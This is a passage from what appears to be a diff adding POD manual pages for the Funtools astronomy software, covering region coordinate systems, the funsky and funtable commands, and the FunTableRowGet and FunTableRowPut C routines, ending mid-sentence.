defined by the 'coordsys' keyword. In general, the rule is:
|
||||
|
||||
|
||||
All pure numbers have implied units corresponding to the current
|
||||
coordinate system.
|
||||
|
||||
|
||||
If no such system is explicitly specified, the default system is
|
||||
implicitly assumed to be PHYSICAL.
|
||||
|
||||
|
||||
In practice this means that for IMAGE and PHYSICAL systems, pure
|
||||
numbers are pixels. Otherwise, for all systems other than linear,
|
||||
pure numbers are degrees. For LINEAR systems, pure numbers are in the
|
||||
units of the linear system. This rule covers both positions and
|
||||
sizes.
|
||||
|
||||
|
||||
The input values to each shape can be specified in several coordinate
|
||||
systems including:
|
||||
|
||||
|
||||
name description
|
||||
---- ----------------------------
|
||||
IMAGE pixel coords of current file
|
||||
LINEAR linear wcs as defined in file
|
||||
FK4, B1950 various sky coordinate systems
|
||||
FK5, J2000
|
||||
GALACTIC
|
||||
ECLIPTIC
|
||||
ICRS
|
||||
PHYSICAL pixel coords of original file using LTM/LTV
|
||||
AMPLIFIER mosaic coords of original file using ATM/ATV
|
||||
DETECTOR mosaic coords of original file using DTM/DTV
|
||||
|
||||
|
||||
|
||||
If no coordinate system is specified, PHYSICAL is assumed. PHYSICAL or
|
||||
a World Coordinate System such as J2000 is preferred and most general.
|
||||
The coordinate system specifier should appear at the beginning of the
|
||||
region description, on a separate line (in a file), or followed by a
|
||||
new-line or semicolon; e.g.,
|
||||
|
||||
|
||||
global coordsys physical
|
||||
circle 6500 9320 200
|
||||
|
||||
|
||||
The use of celestial input units automatically implies WORLD
|
||||
coordinates of the reference image. Thus, if the world coordinate
|
||||
system of the reference image is J2000, then
|
||||
|
||||
|
||||
circle 10:10:0 20:22:0 3'
|
||||
|
||||
|
||||
is equivalent to:
|
||||
|
||||
|
||||
circle 10:10:0 20:22:0 3' # j2000
|
||||
|
||||
|
||||
|
||||
Note that by using units as described above, you may mix coordinate
|
||||
systems within a region specifier; e.g.,
|
||||
|
||||
|
||||
circle 6500 9320 3' # physical
|
||||
|
||||
|
||||
|
||||
Note that, for regions which accept a rotation angle:
|
||||
|
||||
|
||||
ellipse (x, y, r1, r2, angle)
|
||||
box(x, y, w, h, angle)
|
||||
|
||||
|
||||
the angle is relative to the specified coordinate system. In
|
||||
particular, if the region is specified in WCS coordinates, the angle
|
||||
is related to the WCS system, not x/y image coordinate axis. For WCS
|
||||
systems with no rotation, this obviously is not an issue. However,
|
||||
some images do define an implicit rotation (e.g., by using a non-zero
|
||||
CROTA value in the WCS parameters) and for these images, the angle
|
||||
will be relative to the WCS axes. In such case, a region specification
|
||||
such as:
|
||||
|
||||
|
||||
fk4;ellipse(22:59:43.985, +58:45:26.92,320", 160", 30)
|
||||
|
||||
|
||||
will not, in general, be the same region specified as:
|
||||
|
||||
|
||||
physical;ellipse(465, 578, 40, 20, 30)
|
||||
|
||||
|
||||
even when positions and sizes match. The angle is relative to WCS axes
|
||||
in the first case, and relative to physical x,y axes in the second.
|
||||
|
||||
|
||||
|
||||
More detailed descriptions are available for:
|
||||
Region Geometry,
|
||||
Region Algebra,
|
||||
Region Coordinates, and
|
||||
Region Boundaries.
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,260 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funsky - convert between image and sky coordinates>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funsky iname[ext] # RA,Dec (deg) or image pix from stdin
|
||||
funsky iname[ext] [lname] # RA, Dec (deg) or image pix from list
|
||||
funsky iname[ext] [col1] [col2] # named cols:units from stdin
|
||||
funsky iname[ext] [lname] [col1] [col2] # named cols:units from list
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-d # always use integer tlmin conversion (as ds9 does)
|
||||
-r # convert x,y to RA,Dec (default: convert RA,Dec to x,y)
|
||||
-o # include offset from the nominal target position (in arcsec)
|
||||
-v # display input values also (default: display output only)
|
||||
-T # output display in rdb format (w/header,tab delimiters)
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
Funsky converts input sky coordinates (RA, Dec) to image coordinates (or vice
|
||||
versa) using the WCS information contained in the specified FITS file. Several
|
||||
calling sequences are supported in order to make it easy to specify
|
||||
coordinate positions in different ways.
|
||||
|
||||
|
||||
The first required argument is always the input FITS file (or
|
||||
extension) containing the WCS information in an extension header. Note
|
||||
that the data from this file is not used. By default, the program
|
||||
converts input RA and Dec values to X and Y using this WCS
|
||||
information. If the WCS is associated with a FITS image, then the X,Y
|
||||
values are image values. If the WCS is associated with a binary table,
|
||||
then the X, Y values are physical values. To convert X,Y to RA and
|
||||
Dec, use the B<-r> (reverse) switch.
|
||||
|
||||
|
||||
If no other command arguments are supplied, then the input positions
|
||||
are read from the standard input. Each line is assumed to contain a
|
||||
single coordinate position consisting of an RA in degrees (or X in
|
||||
pixels) followed by a Dec in degrees (or Y in pixels). The usual
|
||||
delimiters are supported (spaces, commas, tabs). For example:
|
||||
|
||||
# read from stdin, default column names and units
|
||||
[sh] funsky snr.ev
|
||||
22.982695 58.606523 # input RA (hrs), Dec(deg)
|
||||
510.00 510.00
|
||||
22.982127 58.607634 # input
|
||||
512.00 510.50
|
||||
22.981700 58.614301 # input
|
||||
513.50 513.50
|
||||
^D # end of input
|
||||
|
||||
|
||||
|
||||
If a second argument is supplied, this argument is assumed to be
|
||||
a file containing RA (X) and Dec (Y) positions. The file can either be
|
||||
an ASCII table or a FITS binary table. The order of columns is
|
||||
unimportant, if the table has a column header. In this case, the
|
||||
names of the columns must be one of "RA", "DEC", or "X", "Y" for sky
|
||||
to image and image to sky conversions, respectively. If the table has
|
||||
no header, then once again, RA (X) is assumed to first, followed
|
||||
by DEC (Y).
|
||||
For example:
|
||||
|
||||
# read from file, default column names and units
|
||||
[sh] cat hd.in
|
||||
RA DEC
|
||||
--------- ---------
|
||||
22.982695 58.606523
|
||||
22.982127 58.607634
|
||||
22.981700 58.614301
|
||||
|
||||
[sh] funsky snr.ev hd.in
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
|
||||
|
||||
If three arguments are supplied, then the input positions again are
|
||||
read from the standard input. Each line is assumed to contain a single
|
||||
coordinate position consisting of an RA (or X in pixels) followed by a
|
||||
Dec (or Y in pixels), with the usual delimiters supported. However,
|
||||
the second and third arguments now specify the column names and/or
|
||||
sky units using a colon-delimited syntax:
|
||||
|
||||
[colname]:[h|d|r]
|
||||
|
||||
If the colname is omitted, the names default to "RA", "DEC", "X", "Y",
|
||||
"COL1", or "COL2" as above. If the units are omitted, the default is degrees
|
||||
for both RA and Dec. When the -r switch is used (convert from image
|
||||
to sky) the units are applied to the output instead of the input. The following
|
||||
examples will serve to illustrate the options:
|
||||
|
||||
# read from stdin, specifying column names (def. units: degrees)
|
||||
[sh] cat hd.in
|
||||
MYRA MYDEC
|
||||
--------- ---------
|
||||
22.982695 58.606523
|
||||
22.982127 58.607634
|
||||
22.981700 58.614301
|
||||
|
||||
[sh] funsky snr.ev MYRA MYDEC < hd.in
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
# read from stdin, specifying column names and units
|
||||
[sh] cat dd.in
|
||||
MYRA MYDEC
|
||||
--------- ---------
|
||||
344.740432 58.606523
|
||||
344.731900 58.607634
|
||||
344.725500 58.614301
|
||||
|
||||
[sh] funsky snr.ev MYRA:d MYDEC:d < dd.in
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
# read stdin, convert image to sky, specifying output sky units
|
||||
[sh] cat im.in
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
[sh] cat im.in | funsky -r snr.ev :d :d
|
||||
344.740432 58.606523
|
||||
344.731900 58.607634
|
||||
344.725500 58.614301
|
||||
|
||||
|
||||
|
||||
Finally, four command arguments specify both and input file and column names
|
||||
and/or units:
|
||||
|
||||
[sh] cat dd.in
|
||||
MYRA MYDEC
|
||||
--------- ---------
|
||||
344.740432 58.606523
|
||||
344.731900 58.607634
|
||||
344.725500 58.614301
|
||||
|
||||
[sh] funsky snr.ev dd.in MYRA:d MYDEC:d
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
# read file, convert image to sky, specifying output sky units
|
||||
[sh] cat im.in
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
[sh] funsky -r snr.ev im.in :d :d
|
||||
344.740432 58.606523
|
||||
344.731900 58.607634
|
||||
344.725500 58.614301
|
||||
|
||||
|
||||
|
||||
By default, the output of funsky consists only of the converted coordinate
|
||||
position(s), one per output line. This makes parsing in shell scripts easy.
|
||||
Use the B<-v> (verbose) switch to specify that the input
|
||||
coordinates should be pre-pended to each line. For example:
|
||||
|
||||
[sh] cat dd.in
|
||||
MYRA MYDEC
|
||||
--------- ---------
|
||||
344.740432 58.606523
|
||||
344.731900 58.607634
|
||||
344.725500 58.614301
|
||||
|
||||
[sh] funsky snr.ev dd.in MYRA:d MYDEC:d
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
[sh] funsky -v snr.ev dd.in MYRA:d MYDEC:d
|
||||
344.740432 58.606523 510.00 510.00
|
||||
344.731900 58.607634 512.00 510.50
|
||||
344.725500 58.614301 513.50 513.50
|
||||
|
||||
|
||||
|
||||
In addition, a full starbase table can be output using the B<-T>
|
||||
(table) switch. This switch can be used with or without the -v
|
||||
switch. If the -T and -v are both specified, then a descriptive header
|
||||
parameters are output before the table (mainly to remind you of the
|
||||
sky units):
|
||||
|
||||
# output table in non-verbose mode
|
||||
[sh] funsky -T snr.ev dd.in MYRA:d MYDEC:d
|
||||
X Y
|
||||
------------ ------------
|
||||
510.00 510.00
|
||||
512.00 510.50
|
||||
513.50 513.50
|
||||
|
||||
# output table in verbose mode
|
||||
[sh] funsky -T -v snr.ev dd.in MYRA:d MYDEC:d
|
||||
# IFILE = /Users/eric/data/snr.ev
|
||||
# ICOL1 = MYRA
|
||||
# ICOL2 = MYDEC
|
||||
# IUNITS1 = d
|
||||
# IUNITS2 = d
|
||||
# OCOL1 = X
|
||||
# OCOL2 = Y
|
||||
|
||||
MYRA MYDEC X Y
|
||||
------------ ------------ ------------ ------------
|
||||
344.740432 58.606523 510.00 510.00
|
||||
344.731900 58.607634 512.00 510.50
|
||||
344.725500 58.614301 513.50 513.50
|
||||
|
||||
|
||||
|
||||
Finally, the B<-d> (ds9) switch mimicks ds9's use of integer TLMIN
|
||||
and TLMAX values for all coordinate transformations. FITS conventions
|
||||
seem to call for use of floating point TLMIN and TLMAX when the data are
|
||||
floats. This convention is followed by funsky but results in a
|
||||
small discrepancy with ds9's converted values for floating point
|
||||
data. We will remedy this conflict in the future, maybe.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,296 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<funtable - copy selected rows from a Funtools file to a FITS binary table>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
funtable [-a] [-i|-z] [-m] [-s cols] <iname> <oname> [columns]
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 OPTIONS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
-a # append to existing output file as a table extension
|
||||
-i # for image data, only generate X and Y columns
|
||||
-m # for tables, write a separate file for each region
|
||||
-s "col1 ..." # columns on which to sort
|
||||
-z # for image data, output zero-valued pixels
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
B<funtable> selects rows from the specified
|
||||
FITS Extension
|
||||
(binary table only) of a FITS file, or from a non-FITS raw event
|
||||
file, and writes those rows to a FITS binary table file. It also
|
||||
will create a FITS binary table from an image or a raw array file.
|
||||
|
||||
|
||||
The first argument to the program specifies the FITS file, raw event
|
||||
file, or raw array file. If "stdin" is specified, data are read from
|
||||
the standard input. Use Funtools Bracket
|
||||
Notation to specify FITS extensions, and filters. The second
|
||||
argument is the output FITS file. If "stdout" is specified, the FITS
|
||||
binary table is written to the standard output. By default, all
|
||||
columns of the input file are copied to the output file. Selected
|
||||
columns can be output using an optional third argument in the form:
|
||||
|
||||
"column1 column1 ... columnN"
|
||||
|
||||
|
||||
|
||||
The B<funtable> program generally is used to select rows from a
|
||||
FITS binary table using
|
||||
Table Filters
|
||||
and/or
|
||||
Spatial Region Filters.
|
||||
For example, you can copy only selected rows (and output only selected
|
||||
columns) by executing in a command such as:
|
||||
|
||||
[sh] funtable "test.ev[pha==1&&pi==10]" stdout "x y pi pha" | fundisp stdin
|
||||
X Y PHA PI
|
||||
------- ------- ------- ---------
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
1 10 1 10
|
||||
|
||||
|
||||
The special column B<$REGION> can be specified to write the
|
||||
region id of each row:
|
||||
|
||||
[sh $] funtable "test.ev[time-(int)time>=.99&&annulus(0 0 0 10 n=3)]" stdout 'x y time $REGION' | fundisp stdin
|
||||
X Y TIME REGION
|
||||
-------- -------- --------------------- ----------
|
||||
5 -6 40.99000000 3
|
||||
4 -5 59.99000000 2
|
||||
-1 0 154.99000000 1
|
||||
-2 1 168.99000000 1
|
||||
-3 2 183.99000000 2
|
||||
-4 3 199.99000000 2
|
||||
-5 4 216.99000000 2
|
||||
-6 5 234.99000000 3
|
||||
-7 6 253.99000000 3
|
||||
|
||||
|
||||
Here only rows with the proper fractional time and whose position also is
|
||||
within one of the three annuli are written.
|
||||
|
||||
Columns can be excluded from display using a minus sign before the
|
||||
column:
|
||||
|
||||
[sh $] funtable "test.ev[time-(int)time>=.99]" stdout "-time" | fundisp stdin
|
||||
X Y PHA PI DX DY
|
||||
-------- -------- -------- ---------- ----------- -----------
|
||||
5 -6 5 -6 5.50 -6.50
|
||||
4 -5 4 -5 4.50 -5.50
|
||||
-1 0 -1 0 -1.50 0.50
|
||||
-2 1 -2 1 -2.50 1.50
|
||||
-3 2 -3 2 -3.50 2.50
|
||||
-4 3 -4 3 -4.50 3.50
|
||||
-5 4 -5 4 -5.50 4.50
|
||||
-6 5 -6 5 -6.50 5.50
|
||||
-7 6 -7 6 -7.50 6.50
|
||||
|
||||
All columns except the time column are written.
|
||||
|
||||
In general, the rules for activating and de-activating columns are:
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If only exclude columns are specified, then all columns but
|
||||
the exclude columns will be activated.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If only include columns are specified, then only the specified columns
|
||||
are activated.
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If a mixture of include and exclude columns are specified, then
|
||||
all but the exclude columns will be active; this last case
|
||||
is ambiguous and the rule is arbitrary.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
In addition to specifying columns names explicitly, the special
|
||||
symbols I<+> and I<-> can be used to activate and
|
||||
de-activate I<all> columns. This is useful if you want to
|
||||
activate the $REGION column along with all other columns. According
|
||||
to the rules, the syntax "$REGION" only activates the region column
|
||||
and de-activates the rest. Use "+ $REGION" to activate all
|
||||
columns as well as the region column.
|
||||
|
||||
|
||||
Ordinarily, only the selected table is copied to the output file. In
|
||||
a FITS binary table, it sometimes is desirable to copy all of the
|
||||
other FITS extensions to the output file as well. This can be done by
|
||||
appending a '+' sign to the name of the extension in the input file
|
||||
name. For example, the first command below copies only the EVENT table,
|
||||
while the second command copies other extensions as well:
|
||||
|
||||
[sh] funtable "/proj/rd/data/snr.ev[EVENTS]" events.ev
|
||||
[sh] funtable "/proj/rd/data/snr.ev[EVENTS+]" eventsandmore.ev
|
||||
|
||||
|
||||
|
||||
If the input file is an image or a raw array file, then
|
||||
B<funtable> will generate a FITS binary table from the pixel
|
||||
values in the image. Note that it is not possible to specify the
|
||||
columns to output (using command-line argument 3). Instead, there are
|
||||
two ways to create such a binary table from an image. By default, a
|
||||
3-column table is generated, where the columns are "X", "Y", and
|
||||
"VALUE". For each pixel in the image, a single row (event) is
|
||||
generated with the "X" and "Y" columns assigned the dim1 and dim2
|
||||
values of the image pixel, respectively and the "VALUE" column
|
||||
assigned the value of the pixel. With sort of table, running
|
||||
B<funhist> on the "VALUE" column will give the same results as
|
||||
running B<funhist> on the original image.
|
||||
|
||||
|
||||
If the B<-i> ("individual" rows) switch is specified, then only
|
||||
the "X" and "Y" columns are generated. In this case, each positive
|
||||
pixel value in the image generates n rows (events), where n is equal
|
||||
to the integerized value of that pixel (plus 0.5, for floating point
|
||||
data). In effect, B<-i> approximately recreates the rows of a
|
||||
table that would have been binned into the input image. (Of course,
|
||||
this is only approximately correct, since the resulting x,y positions
|
||||
are integerized.)
|
||||
|
||||
|
||||
If the B<-s [col1 col2 ... coln]> ("sort") switch is specified,
|
||||
the output rows of a binary table will be sorted using the
|
||||
specified columns as sort keys. The sort keys must be scalar columns
|
||||
and also must be part of the output file (i.e. you cannot sort on a
|
||||
column but not include it in the output). This facility uses the
|
||||
B<_sort> program (included with funtools), which must be accessible
|
||||
via your path.
|
||||
|
||||
|
||||
For binary tables, the B<-m> ("multiple files") switch will
|
||||
generate a separate file for each region in the filter specification
|
||||
i.e. each file contains only the rows from that region. Rows
|
||||
which pass the filter but are not in any region also are put in a
|
||||
separate file.
|
||||
|
||||
|
||||
The separate output file names generated by the B<-m> switch are
|
||||
produced automatically from the root output file to contain the region id of
|
||||
the associated region. (Note that region ids start at 1, so that the
|
||||
file name associated with id 0 contains rows that pass the filter but
|
||||
are not in any given region.) Output file names are generated as follows:
|
||||
|
||||
|
||||
|
||||
=over 4
|
||||
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
A $n specification can be used anywhere in the root file name (suitably
|
||||
quoted to protect it from the shell) and will be expanded to be the id
|
||||
number of the associated region. For example:
|
||||
|
||||
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' 'foo.goo_$n.fits'
|
||||
|
||||
will generate files named foo.goo_0.fits (for rows not in any region but
|
||||
still passing the filter), foo.goo_1.fits (rows in region id #1, the first
|
||||
region), foo.goo_2.fits (rows in region id #2), etc. Note that single quotes
|
||||
in the output root are required to protect the '$' from the shell.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If $n is not specified, then the region id will be placed before
|
||||
the first dot (.) in the filename. Thus:
|
||||
|
||||
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' foo.evt.fits
|
||||
|
||||
will generate files named foo0.evt.fits (for rows not in any region but
|
||||
still passing the filter), foo1.evt.fits (rows in region id #1),
|
||||
foo2.evt.fits (rows in region id #2), etc.
|
||||
|
||||
|
||||
|
||||
=item *
|
||||
|
||||
If no dot is specified in the root output file name, then
|
||||
the region id will be appended to the filename. Thus:
|
||||
|
||||
funtable -m input.fits'[cir(512,512,1);cir(520,520,1)...]' 'foo_evt'
|
||||
|
||||
will generate files named foo_evt0 (for rows not in any region but
|
||||
still passing the filter), foo_evt1 (rows in region id #1),
|
||||
foo_evt2 (rows in region id #2), etc.
|
||||
|
||||
|
||||
=back
|
||||
|
||||
|
||||
The multiple file mechanism provide a simple way to generate
|
||||
individual source data files with a single pass through the data.
|
||||
|
||||
|
||||
By default, a new FITS file is created and the binary table is written
|
||||
to the first extension. If the B<-a> (append) switch is specified,
|
||||
the table is appended to an existing FITS file as a BINTABLE extension.
|
||||
Note that the output FITS file must already exist.
|
||||
|
||||
|
||||
If the B<-z> ("zero" pixel values) switch is specified and
|
||||
B<-i> is not specified, then pixels having a zero value will
|
||||
be output with their "VALUE" column set to zero. Obviously, this
|
||||
switch does not make sense when individual events are output.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,111 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunTableRowGet - get Funtools rows>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#include <funtools.h>
|
||||
|
||||
void *FunTableRowGet(Fun fun, void *rows, int maxrow, char *plist,
|
||||
int *nrow)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
|
||||
The B<FunTableRowGet()> routine retrieves rows from a Funtools
|
||||
binary table or raw event file, and places the values of columns
|
||||
selected by FunColumnSelect()
|
||||
into an array of user structs. Selected column values are
|
||||
automatically converted to the specified user data type (and to native
|
||||
data format) as necessary.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with this row data.
|
||||
The second B<rows> argument is the array of user structs into
|
||||
which the selected columns will be stored. If NULL is passed, the
|
||||
routine will automatically allocate space for this array. (This
|
||||
includes proper allocation of pointers within each struct, if the "@"
|
||||
pointer type is used in the selection of columns. Note that if you
|
||||
pass NULL in the second argument, you should free this space using the
|
||||
standard free() system call when you are finished with the array of
|
||||
rows.) The third B<maxrow> argument specifies the maximum number
|
||||
of rows to be returned. Thus, if B<rows> is allocated by the
|
||||
user, it should be at least of size maxrow*sizeof(evstruct).
|
||||
|
||||
|
||||
The fourth B<plist> argument is a param list string. Currently,
|
||||
the keyword/value pair "mask=transparent" is supported in the plist
|
||||
argument. If this string is passed in the call's plist argument, then
|
||||
all rows are passed back to the user (instead of just rows passing
|
||||
the filter). This is only useful when
|
||||
FunColumnSelect() also is
|
||||
used to specify "$region" as a column to return for each row. In
|
||||
such a case, rows found within a region have a returned region value
|
||||
greater than 0 (corresponding to the region id of the region in which
|
||||
they are located), rows passing the filter but not in a region have
|
||||
region value of -1, and rows not passing any filter have region
|
||||
value of 0. Thus, using "mask=transparent" and the returned region
|
||||
value, a program can process all rows and decide on an action based
|
||||
on whether a given row passed the filter or not.
|
||||
|
||||
|
||||
The final argument is a pointer to an int variable that will return
|
||||
the actual number of rows returned. The routine returns a pointer to
|
||||
the array of stored rows, or NULL if there was an error. (This pointer
|
||||
will be the same as the second argument, if the latter is non-NULL).
|
||||
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = buf+i;
|
||||
/* rearrange some values. etc. */
|
||||
ev->energy = (ev->pi+ev->pha)/2.0;
|
||||
ev->pha = -ev->pha;
|
||||
ev->pi = -ev->pi;
|
||||
}
|
||||
/* write out this batch of rows */
|
||||
FunTableRowPut(fun2, buf, got, 0, NULL);
|
||||
/* free row data */
|
||||
if( buf ) free(buf);
|
||||
}
|
||||
|
||||
As shown above, successive calls to
|
||||
FunTableRowGet() will return the
|
||||
next set of rows from the input file until all rows have been read,
|
||||
i.e., the routine behaves like sequential Unix I/O calls such as
|
||||
fread(). See evmerge example code for a
|
||||
more complete example.
|
||||
|
||||
|
||||
Note that FunTableRowGet() also can be called as FunEventsGet(), for
|
||||
backward compatibility.
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 SEE ALSO
|
||||
|
||||
|
||||
|
||||
See funtools(n) for a list of Funtools help pages
|
||||
|
||||
|
||||
=cut
|
|
@ -0,0 +1,200 @@
|
|||
=pod
|
||||
|
||||
=head1 NAME
|
||||
|
||||
|
||||
|
||||
B<FunTableRowPut - put Funtools rows>
|
||||
|
||||
|
||||
|
||||
=head1 SYNOPSIS
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
int FunTableRowPut(Fun fun, void *rows, int nev, int idx, char *plist)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
=head1 DESCRIPTION
|
||||
|
||||
|
||||
|
||||
The B<FunTableRowPut()> routine writes rows to a FITS binary
|
||||
table, taking its input from an array of user structs that contain
|
||||
column values selected by a previous call to
|
||||
FunColumnSelect(). Selected
|
||||
column values are automatically converted from native data format to
|
||||
FITS data format as necessary.
|
||||
|
||||
|
||||
The first argument is the Fun handle associated with this row data.
|
||||
The second B<rows> argument is the array of user structs to
|
||||
output. The third B<nrow> argument specifies the number number of
|
||||
rows to write. The routine will write B<nrow> records, starting
|
||||
from the location specified by B<rows>.
|
||||
|
||||
|
||||
The fourth B<idx> argument is the index of the first raw input
|
||||
row to write, in the case where rows from the user buffer are
|
||||
being merged with their raw input row counterparts (see below). Note
|
||||
that this B<idx> value is has nothing to do with the
|
||||
row buffer specified in argument 1. It merely matches the row
|
||||
being written with its corresponding (hidden) raw row. Thus, if you
|
||||
read a number of rows, process them, and then write them out all at
|
||||
once starting from the first user row, the value of B<idx>
|
||||
should be 0:
|
||||
|
||||
Ev ebuf, ev;
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
...
|
||||
}
|
||||
/* write out this batch of rows, starting with the first */
|
||||
FunTableRowPut(fun2, (char *)ebuf, got, 0, NULL);
|
||||
/* free row data */
|
||||
if( ebuf ) free(ebuf);
|
||||
}
|
||||
|
||||
|
||||
|
||||
On the other hand, if you write out the rows one at a time (possibly
|
||||
skipping rows), then, when writing the i'th row from the input
|
||||
array of rows, set B<idx> to the value of i:
|
||||
|
||||
Ev ebuf, ev;
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (ebuf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = ebuf+i;
|
||||
...
|
||||
/* write out the current (i.e., i'th) row */
|
||||
FunTableRowPut(fun2, (char *)ev, 1, i, NULL);
|
||||
}
|
||||
/* free row data */
|
||||
if( ebuf ) free(ebuf);
|
||||
}
|
||||
|
||||
|
||||
|
||||
The final argument is a param list string that is not currently used.
|
||||
The routine returns the number of rows output. This should be equal
|
||||
to the value passed in the third nrow</B argument.
|
||||
|
||||
|
||||
When FunTableRowPut() is first
|
||||
called for a given binary table, Funtools checks to see of the primary
|
||||
header has already been written (either by writing a previous row
|
||||
table or by writing an image.) If not, a dummy primary header is
|
||||
written to the file specifying that an extension should be expected.
|
||||
After this, a binary table header is automatically written containing
|
||||
information about the columns that will populate this table. In
|
||||
addition, if a
|
||||
Funtools reference handle
|
||||
was specified when this table was opened, the parameters from this
|
||||
Funtools reference handle
|
||||
are merged into the new binary table header.
|
||||
|
||||
|
||||
In a typical Funtools row loop, you read rows using
|
||||
FunTableRowGet()() and write
|
||||
rows using FunTableRowPut(). The columns written by
|
||||
FunTableRowPut()() are those defined as writable by a previous call to
|
||||
FunColumnSelect(). If
|
||||
that call to FunColumnSelect also specified
|
||||
B<merge=[update|replace|append]>, then the entire corresponding
|
||||
raw input row record will be merged with the output row according
|
||||
to the B<merge> specification (see
|
||||
FunColumnSelect() above).
|
||||
|
||||
|
||||
A call to write rows can either be done once, after all rows in
|
||||
the input batch have been processed, or it can be done (slightly less
|
||||
efficiently) one row at a time (or anything in between). We do
|
||||
recommend that you write all rows associated with a given batch of
|
||||
input rows before reading new rows. This is B<required> if
|
||||
you are merging the output rows with the raw input rows (since
|
||||
the raw rows are destroyed with each successive call to get new rows).
|
||||
|
||||
For example:
|
||||
|
||||
Ev buf, ev;
|
||||
...
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* point to the i'th row */
|
||||
ev = buf + i;
|
||||
.... process
|
||||
}
|
||||
/* write out this batch of rows */
|
||||
FunTableRowPut(fun2, buf, got, 0, NULL);
|
||||
/* free row data */
|
||||
if( buf ) free(buf);
|
||||
}
|
||||
|
||||
|
||||
or
|
||||
|
||||
|
||||
Ev buf, ev;
|
||||
...
|
||||
/* get rows -- let routine allocate the row array */
|
||||
while( (buf = (Ev)FunTableRowGet(fun, NULL, MAXROW, NULL, &got)) ){
|
||||
/* process all rows */
|
||||
for(i=0; i<got; i++){
|
||||
/* point to the i'th row */
|
||||
ev = buf + i;
|
||||
... process
|
||||
/* write out this batch of rows with the new column */
|
||||
if( dowrite )
|
||||
FunTableRowPut(fun2, buf, 1, i, NULL);
|
||||
}
|
||||
/* free row data */
|
||||
if( buf ) free(buf);
|
||||
}
|
||||
|
||||
|
||||
|
||||
Note that the difference between these calls is that the first one
|
||||
outputs B<got> rows all at once and therefore passes
|
||||
B<idx=0> in argument four, so that merging starts at the first raw
|
||||
input row. In the second case, a check it made on each row to see
|
||||
if it needs to be output. If so, the value of B<idx> is passed as
|
||||
the value of the B<i> variable which points to the current row
|
||||
being processed in the batch of input rows.
|
||||
|
||||
|
||||
As shown above, successive calls to
|
||||
FunTableRowPut() will write
|
||||
rows sequentially. When you are finished writing all rows in a
|
||||
table, you should call
